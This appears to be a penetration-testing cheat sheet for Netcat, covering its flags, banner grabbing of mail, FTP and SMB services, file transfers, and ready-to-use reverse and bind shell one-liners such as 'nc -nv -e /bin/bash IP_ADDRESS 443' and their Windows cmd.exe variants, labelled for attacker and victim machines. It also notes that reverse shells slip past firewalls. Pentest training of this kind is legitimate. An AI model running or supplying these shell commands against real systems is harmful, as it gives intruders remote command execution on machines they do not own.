Cheat Sheets, Resources

Netcat Cheat Sheet

Introduction

Netcat is a networking tool used to send and receive data over a TCP/UDP network connection. It is often referred to as a networking Swiss army knife as it can be used to carry out various task.

In penetration testing, Netcat is often used to establish a reverse/bind shell with a target machine, transfer files over a network or interact with certain services such as FTP or SMTP.

Netcat Flags

The tools has a number of flags that can be used , these are the main ones:

FlagDescription
-vUsed to provide verbose output.
-nDo not resolve IP addresses when establishing a connection.
-lUsed to listen for incoming connections.
-pUsed to specify the port to communicate with or to listen on.
-eUsed to specify a binary to execute when the connection is established. This has been removed in newer versions of Netcat.
-cUsed to specify a command to execute when the connection is established. This has been removed in newer versions of Netcat.
-wUsed to specify a timeout period in seconds, after which, if the connection is still in idle, it is closed.
-zPerforms a port scan against a given host and port or port range.
-iUsed to specify a delay between when data is sent and when it is received.
-xUsed to connect to a target using a proxy. If the port is not specified, the well-known port for the proxy protocol is used.
-XUse to specify the proxy protocol to be used. The options are ”4” (SOCKS 4), ”5” (SOCKS 5) and ”connect” (HTTPS). If not specified, SOCKS 5is used.

Banner Grabbing

Services often have a banner that is displayed when establishing a connection, Banner Grabbing is used to gather information about a service or its version.

This can be performed by establishing a simple connection to the service.

Examples:

CommandDescription
nc -nv IP_ADDRESS/URL 80HTTP banner grabbing
nc -nv IP_ADDRESS 25/2525/465/587SMTP banner grabbing
nc -nv IP_ADDRESS 110/995POP3 banner grabbing
nc -nv IP_ADDRESS 143/993IMAP banner grabbing
nc -nv IP_ADDRESS 21FTP banner grabbing
nc -nv IP_ADDRESS 23Telnet banner grabbing
nc -nv IP_ADDRESS 139/445SMB/Samba banner grabbing

File Transfers

Netcat can also be used to transfer files over a network between machines.

Examples:

CommandDescription
nc -lvnp 443 > file.txtListen for incoming connections and redirect out put to a “file.txt” file.
nc -nv IP_ADDRESS 443 < file.txtRedirect content of a “file.txt” file to a specified IP address on port 443 .
cat file.txt | nc IP_ADDRESS 443Alternative to the above.

Reverse/Bind Shells

In penetration testing, Netcat is often used to establish reverse or bind shell with a target machine and therefore gain remote access to the machine.

Reverse Shells

In a reverse shell, the attacker host listens for incoming connections and the target machine connects to it. This method is normally preferred as it is less likely to be blocked by firewall or antivirus software because these normally lock down incoming connections but not outgoing ones.

Examples:

CommandDescription
nc -lvnp 443Listen for incoming connection on port 443. Used on the attacker machine.
nc -nv -e /bin/bash IP_ADDRESS 443Connect to a given IP address on port 443 executing the bash shell. Used on the victim machine.
nc -nv -e cmd.exe IP_ADDRESS 443Same above but used in Windows.
nc -nv -c /bin/bash IP_ADDRESS 443Connect to a given IP address on port 443 executing the /bin/bash command. Used on the victim machine.
nc -nv -c cmd.exe IP_ADDRESS 443Same above but used in Windows.

Bind Shells

In a bind shell, the victim host listens for incoming connections and the attacker machine connects to it. Although this method is more likely to fail, it is often used in public exploits as it does not require an IP address to be specified, so it can be reused without having to generate it again changing the local IP address.

Examples:

CommandDescription
nc -lvnp 443 -e /bin/bashListen for incoming connection on port 443 and execute the bash shell when a connection is received. Used on the victim machine.
nc -lvnp 443 -e cmd.exeSame above but used in Windows.
nc -lvnp 443 -c /bin/bashListen for incoming connection on port 443 and execute the /bin/bash command when a connection is received. Used on the victim machine.
nc -lvnp 443 -c cmd.exeSame above but used in Windows.

Conclusion

Netcat is very powerful tool and it is indispensable to know it really well when performing penetration tests as it allows to perform many network operations with very little effort.

It comes pre-installed with most Linux distributions and there is a Windows executable available that can be used as well.